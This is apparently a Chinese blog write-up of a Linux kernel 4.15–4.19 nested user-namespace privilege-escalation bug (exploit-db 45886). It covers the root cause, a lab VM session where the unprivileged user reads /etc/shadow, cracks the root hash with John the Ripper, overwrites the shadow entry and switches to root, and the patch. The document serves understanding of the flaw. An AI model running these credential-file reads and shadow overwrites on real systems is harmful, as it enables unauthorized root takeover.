https://www.exploit-db.com/exploits/45886
漏洞原理
大概是在用户命名空间中NS1创建root用户,然后创建嵌套命名空间NS2。
在NS2中映射大于5个id
两个原因造成越权。
1.sort_idmaps会复制forward map的映射队列到reverse map中。4.15-4.19之间的某些内核代码。会在sort_idmaps排序之后进行内核id和用户id的转换。但是只转换了forward map 。 reverse map 没有变化。
2. from_kuid在查询id的过程中,会寻找map->reverse的map映射关系。如果,uid_gid_extent中first成员等于lower_first。那么返回的id将会是原本传进来的id. 没有修改的reverse map 中的值还是用户态传递来的0 到0 的映射,所以发生了越权。
nobody@lier-virtual-machine:~/work/exploit/45886/45886$ id
uid=65534(nobody) gid=65534(nogroup) 组=65534(nogroup),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),113(lpadmin),128(sambashare),129(libvirtd)
nobody@lier-virtual-machine:~/work/exploit/45886/45886$ head -n1 /etc/shadow
root:$6$doAc1Cla$O3pPRDFioQj3DKOMr/6djJFI63WZ7KnEpxvC8JWaKLcrPV30RPWfFMwuDdeH/Gn0wuZ/gS9qsqtemBF8Ry6Yf1:18180:0:99999:7:::
nobody@lier-virtual-machine:~/work/exploit/45886/45886$ id
uid=65534(nobody) gid=65534(nogroup) 组=65534(nogroup),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),113(lpadmin),128(sambashare),129(libvirtd)
理论上密码只要不强,可以通过工具碰撞出root账户的密码。其实获得的账号的权限并不完整,没有完全的root权限。
我用john工具试了下
n-1.9.0/run$ ./john password.txt
Loaded 1 password hash (crypt, generic crypt(3) [?/64])
Press 'q' or Ctrl-C to abort, almost any other key for status
bme314 (root)
1g 0:00:00:15 100% 2/3 0.06578g/s 426.9p/s 426.9c/s 426.9C/s !@#$%..andrew
Use the "--show" option to display all of the cracked passwords reliably
Session completed
/run$ cat john.pot
$6$doAc1Cla$O3pPRDFioQj3DKOMr/6djJFI63WZ7KnEpxvC8JWaKLcrPV30RPWfFMwuDdeH/Gn0wuZ/gS9qsqtemBF8Ry6Yf1:xxxxxx
run$
跑是跑出来了,不过一般情况下需要一个强大的字典,不然没啥用。
突然想到另一种利用方式,这里可能有写 /etc/shawdom的权限,试了下,果然可以。
原来的密码hash
45886$ sudo cat /etc/shadow
root:$6$Qk2IaudC$3Aj3MJ0s22dfxc4cXMI6AOGhXa639.flIwZNXITnqbQSiZ6B9Dc6LWIFB3f3Pd6EUvW/CBMyGzDjGgtHfPMCB1:18372:0:99999:7:::
nest ns
nobody@lier-virtual-machine:~/work/exploit/45886/45886$ vim /etc/shadow
root:$6$vbeZpmCt$4AO8Tg2HRZEYI3aZKuyi4qjVoZwCZ5HsBPPd1/B.ykxnBG3el1JladH1/KMPJjd.dwCK6y7bD8hVCENGXCQJg1:18372:0:99999:7:::
返回普通用户
lier@lier-virtual-machine:~/work/exploit/45886/45886$ sudo cat /etc/shadow
root:$6$vbeZpmCt$4AO8Tg2HRZEYI3aZKuyi4qjVoZwCZ5HsBPPd1/B.ykxnBG3el1JladH1/KMPJjd.dwCK6y7bD8hVCENGXCQJg1:18372:0:99999:7:::
daemon:*:16911:0:99999:7:::
bin:*:16911:0:99999:7:::
sys:*:16911:0:99999:7:::
sync:*:16911:0:99999:7:::
可以看到修改成功。
su root
切换用户,发现只要知道对应的密码,我们可以任意修改root用户的密码。成功执行root账号切换。
root@lier-virtual-machine:/home/lier/work/exploit/45886/45886#
关于user namespace
从整个漏洞的过程,我们可以猜测到整个user namespce权限管理过程。
嵌套名字空间,由于逆向追溯的过程和查询过程出现的缺陷,造成了权限突破。
我们清楚的看到uns通过vfs, 映射父进程uid到子uns的过程。并且对于文件权限的查询,是通过映射过程的逆过程反向查父usn的相应uid。对于理解user namespace帮助很大。
其实这里映射了很大的docker漏洞,因为dockers利用的就是user namespace. 如果我们在内核为4.15–4.19的中使用docker, 那么很可能通过嵌套构造user namespace直接进行权限提升。不过因为其他namespace空间的限制,不一定会有很大的作用。
补丁:
把追溯id的逻辑放在了复制排序前,这样forward和reverse就都经过了id追溯,可以找到正确的父命名空间id。
参考:
https://www.freebuf.com/vuls/197122.html
https://www.cnblogs.com/likaiming/p/10816529.html